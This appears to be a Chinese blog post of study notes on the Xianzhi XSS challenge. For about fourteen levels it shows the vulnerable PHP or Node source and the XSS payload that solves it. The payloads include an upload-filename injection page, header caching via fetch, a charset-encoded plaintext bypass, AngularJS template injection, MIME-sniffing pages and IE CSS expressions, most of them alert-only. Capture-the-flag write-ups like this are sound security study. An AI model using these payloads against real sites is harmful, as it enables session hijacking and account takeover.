zoukankan      html  css  js  c++  java

  • 先知xss挑战赛学习笔记

    xss游戏

    游戏地址：http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/

    LEMON参考wp地址

    1. 文件上传

    源码如下

    <?php
header("X-XSS-Protection: 0");
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = pathinfo($target_file,PATHINFO_EXTENSION);
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
    if($check !== false) {
        echo "File is an image - " . $check["mime"] . ".<BR>";
        $uploadOk = 1;
    } else {
        echo "File is not an image.";
        $uploadOk = 0;
    }
}
// Check if file already exists
if (file_exists($target_file)) {
    echo "Sorry, file already exists.";
    $uploadOk = 0;
}
// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {
    echo "Sorry, your file is too large.";
    $uploadOk = 0;
}
// Allow certain file formats
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
&& $imageFileType != "gif" ) {
    echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
    $uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
    echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
        echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded.";
}
?>

    解答

    文件名进行xss，构造恶意页面

    <html>
<body>
    <form id="xss" action="http://127.0.0.1/xss/target/1.php" method="POST" enctype="multipart/form-data">
      <textarea type="text" id="vulnerable" value="" /></textarea>
    </form>
 <script>
 var tarfile = "test";
 var vuln = document.getElementById('vulnerable');
 vuln.name = "x"; name=fileToUpload; filename="<img src=1 onerror=alert(document.domain)>.jpg";
 vuln.value = (tarfile);
 document.getElementById("xss").submit();
 </script>
</body>
</html>

    2. getallheaders()

    源码

    <?php
header('Pragma: cache');
header("Cache-Control: max-age=".(60*60*24*100)); 
header("X-XSS-Protection: 0");
?>
<html>
<head>
<meta charset=utf-8>
<head>
<body>
<?php
if(isset($_SERVER['HTTP_REFERER'])) 
{
echo "Bad Referrer!";
}
else
{
foreach (getallheaders() as $name => $value) {
    echo "$name: $value
";
}
}
?>
</body>
</html>

    解答

    也就是浏览器会对网页进行缓存，那么如果第一次我能够修改http头然后再进行跨域请求，第二次再请求一次的时候，http的信息还是不会变的，因为直接读取了本地缓存内容.

    所以可以使用Fetch先请求，在利用iframe框架进行第二请求，另外注意的就是需要通过meta标签来设置一下referrer，也就是第二次iframe加载的时候是不带referer的.按道理可以在FF下面也成功，不过好像FF不支持meta这样禁止referer

    <html>
<head>
<meta name="referrer" content="never">
<script>
var request = new Request('http://xianzhi.aliyun.com/xss2.php', {
  method: 'GET',
  mode: 'no-cors',
  redirect: 'follow',
  headers: new Headers({
    'Content-Type': 'text/plain',
    'Accept': 'application/jsona<img src=1 onerror=alert(document.domain)>',
  })
});
fetch(request).then(function() {
  console.log(1);
});
</script>
</head>
<body>
<iframe src="http://xianzhi.aliyun.com/xss2.php"></iframe>
</body>
</html>

    3. json

    源码

    <?php
header("Content-Type:application/json;charset=utf-8");
header("X-XSS-Protection: 0");
echo '{"errno":0,"error":"","data":{"user":{"id":"2","user_name":"u4e13u4e1au6295u8d44u4ebafh","email":"","mobile":"139****0002","intro":"'.$_GET["value"].'","address":null,"photo":"/avatar/000/00/00/02virtual_avatar_big.jpg","user_uuid":"779ab6bd7e2df90c37f1e892","header_url":"/avatar/000/00/00/02virtual_avatar_big.jpg","user_id":"2","is_real_name":0,"is_real_name_string":"u672au5b9eu540du8ba4u8bc1","real_name":"u5c24u6654","is_investor":0,"is_leader_investor":1,"cetificate_id":"511********4273","focus_area":["u91d1u878d:u91c7u8d2du7269u6d41:u80fdu6e90u73afu4fdd:u6cd5u5f8bu6559u80b2:"],"third_party":[{"openid":"1212","type":1,"is_band":1},{"openid":"2oiVL4wNxso9ttarGMIoVa1q-w8kU","type":1,"is_band":1}]}}}'
?>

    解答

    3.html

    <meta charset=utf-8>
<iframe id=x src=3.php></iframe>
<script>
x.location.reload();
</script>

    3.php

    <?php
header("location: http://xianzhi.aliyun.com/xss3333.php?value=%3Cimg%20src=x%20onerror=alert(document.domain)%3E");
?>

    IE8复现失败...

    4. referrer

    源码如下

    <?php
header("X-XSS-Protection: 0");
?>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<?php echo "你来自".$_SERVER['HTTP_REFERER'];?>
</body>
</html>

    解答

    1. 第一种:
    data:text/html,<meta name="referrer" content="always"><script>if(location.protocol!='data:'){alert(1)}else{location.href="http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss4.php"}</script>
    1. 第二种 :
    
<html>
<script>
window.location.href="http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss4.php";
</script>
</html>

    这种在IE下有效，由于chrome和firefox 会对尖括号进行url编码，导致无效
    构造链接:

    http://xss_referrer.html?<script>alert("1")</script>

    5. 跳转

    跳转
    <?php
header("X-XSS-Protection: 0");
$url=str_replace(urldecode("%00"),"",$_GET["url"]);
$url=str_replace(urldecode("%0d"),"",$url);
$url=str_replace(urldecode("%0a"),"",$url);
header("Location: ".$url);
?>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<?php echo "<a href='".$url."'>如果跳转失败请点我</a>";?>
</body>
</html>

    解答

    若使用的端口小于80，则浏览器不会进行跳转

    http://127.0.0.1/xss/target/5.php?url=http://baidu.com:0/'%3E<img src=1 onerror=alert(document.domain)><a>

    ie8成功

    6.强制下载

    源码

    <?php
header("X-XSS-Protection: 0");
header('Content-Disposition: attachment; filename="'.$_GET["filename"].'"');

if(substr($_GET["url"],0,4) ==="http" && substr($_GET["url"],0,8)<>"http://0" && substr($_GET["url"],0,8)<>"http://1" && substr($_GET["url"],0,8)<>"http://l" && strpos($_GET["url"], '@') === false)
{
$opts = array('http' =>
    array(
        'method' => 'GET',
        'max_redirects' => '0',
        'ignore_errors' => '1'
    )
);
$context = stream_context_create($opts);
$url=str_replace("..","",$_GET["url"]);
$stream = fopen($url, 'r', false, $context);
echo stream_get_contents($stream);
}
else
{
echo "Bad URL!";
}
?>

    解答

    为PHP的header函数一旦遇到、 、 这三个字符，就会抛出一个错误，此时Location头便不会返回，浏览器也就不会跳转

    7. text/plain

    源码

    <?php
header("X-XSS-Protection: 0");
header('Content-Type: text/plain; charset=utf-8');

if(substr($_GET["url"],0,4) ==="http" && substr($_GET["url"],0,8)<>"http://0" && substr($_GET["url"],0,8)<>"http://1" && substr($_GET["url"],0,8)<>"http://l" && strpos($_GET["url"], '@') === false)
{
$opts = array('http' =>
    array(
        'method' => 'GET',
        'max_redirects' => '0',
        'ignore_errors' => '1'
    )
);
$context = stream_context_create($opts);
$url=str_replace("..","",$_GET["url"]);
$stream = fopen($url, 'r', false, $context);
echo stream_get_contents($stream);
}
else
{
echo "Bad URL!";
}
?>

    解答：

    通过在图片中插入恶意代码，然后把图片的地址参数赋予url参数，只在IE下有效

    payload:

    http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss7.php?url=https://homemadecode.de/security_logo_string.jpg

    9. plaintext

    源码

    <?php
header("X-XSS-Protection: 0");
header("Content-Type: text/html;charset=gb3212");
?>
<plaintext><?php echo $_GET["text"];?>

    解答

    又没有成功复现，这里直接给个IE的exp

    9.php?text=<meta http-equiv="content-Type" content="text/html; charset=cp1025">%4c%89%94%87%01%a2%99%83%7e%f1%01%96%95%85%99%99%96%99%7e%81%93%85%99%a3%4d%f1%5d%0b%6e

    10. MVM

    源码

    <html ng-app>
<head>
<meta charset=utf-8>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.5/angular.js"></script>
</head>
<body>
<input id="username" name="username" tabindex="1" ng-model="username" ng-init="username='<?php if(strlen($_GET["username"])<37){echo htmlspecialchars($_GET["username"]);}?>'" placeholder="username" maxlength="11" type="text">
</body>
</html>

    解答

    Client Side Template Injection

    ?username=%7B%7B%5B%5D.pop.constructor(%27alert(1)%27)()%7D%7D

    11. HOST

    源码

    "use strict";
var http = require('http');

(function(){
    http.createServer(function (req, res) {
            res.writeHead( 200, { "Content-Type" : "text/html;charset=utf-8", "X-XSS-Protection" : "0" } );
            res.end( '<html><head><title>' + req.headers["host"] + '</title></head><body>It works!</body></html>' );

    }).listen(80);
    console.log( "Running server on port 80" );
})();

    这啥啊。。。

    12. preview

    源码

    <?php
    # the request
    $ch = curl_init($_GET["url"]);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_exec($ch);
    # get the content type
    $mime = array("application/octet-stream","application/postscript","application/x-cdf","application/x-compressed","application/x-zip-compressed","audio/basic","audio/wav","audio/x-aiff","video/avi","video/mpeg","video/x-msvideo","image/png","image/jpeg","image/gif");
    if (in_array(curl_getinfo($ch, CURLINFO_CONTENT_TYPE), $mime)) {
    header("Content-Type:".curl_getinfo($ch, CURLINFO_CONTENT_TYPE));
    //header("X-Content-Type-Options: nosniff");
    echo curl_exec($ch);
    }
    # output
    // text/html; charset=ISO-8859-1
?>

    解答

    当服务器指定的不是一个正确的content-type头时，IE为了兼容这些文件类型，会将文件的前256个字节和已知的文件头进行比较，然后得到一个结果...也就是作为开头的话，会被认为是 text/html

    恶意页面

    <?php
header("Content-Type: application/octet-stream");
?>
<html><script>alert(document.domain)</script></html>

    http://127.0.0.1/xss/target/12.php?url=http://127.0.0.1/xss/12.php

    ie8 复现失败

    13. REQUEST_URI

    源码

    <?php
header("X-XSS-Protection: 0");
echo "REQUEST_URI:".$_SERVER['REQUEST_URI'];
?>

    解答

    $_SERVER['REQUEST_URI']：访问此页面所需的 URI

    payload:

    http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss13.php?<script>alert(1)</script>

    PS:在IE浏览器下触发,不会进行编码

    二解：

    加一次跳IE不会进行编码

    恶意页面：

    <?php
header("Location: http://127.0.0.1/xss/target/13.php/<svg/onload=alert(document.domain)>");

    IE8 复现失败

    14. HIDDEN

    源码如下：

    <?php
header('X-XSS-Protection:0');
header('Content-Type:text/html;charset=utf-8');
?>
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
</head>
<body>
<form action=''>
<input type='hidden' name='token' value='<?php
  echo htmlspecialchars($_GET['token']); ?>'>
<input type='submit'>
</body>

    解答

    特定的浏览器才能绕过，在firefox下

    <input type="hidden" accesskey="X" onclick="alert(1)">

    然后按shift+alt+x 进行触发

    IE6 下

    <input type=hidden style=x:expression(alert(1))>

    最后payload:

    http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss14.php?token=11' accesskey='X' onclick='alert(1)

    16. PHP SELF

    源码

    <html>
<head>
<meta charset=utf-8>
<meta http-equiv="X-UA-Compatible" content="IE=10">
<link href="styles.css" rel="stylesheet" type="text/css" />
</head>
<body>
<img src="xss.png" style="display: none;">
<h1>
<?php
$output=str_replace("<","&lt;",$_SERVER['PHP_SELF']);
$output=str_replace(">","&gt;",$output);
echo $output;
?>
</h1>
</body>
</html>

    解答

    payload:

    http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss16.php/}*{xss:expression(open(alert(1)))}/

    需要IE10才能复现。
  • 相关阅读:
    C语言格式化字符串细节 --- %*s %*c %*.*s
    ROC曲线与AUC计算总结
    python 数字列表排序，输出对应的索引 | 转载
    python 类间的有趣调用
    Linux下以16进制形式显示文件内容的方法
    一些书签
    椭圆曲线算数原理与实现
    中国剩余定理来解密RSA密文
    在GridView控件内文本框实现TextChanged事件,勾选复选框时 ：textbox文本框可编辑,编辑文本框的数字后 总金额会重新计算并统计
    关于RDLC子报表添加参数 错误“本地报表处理期间出错 。值不能为空。 参数名:value” 错误解决方法
  • 原文地址：https://www.cnblogs.com/deen-/p/7460150.html
Copyright © 2011-2022 走看看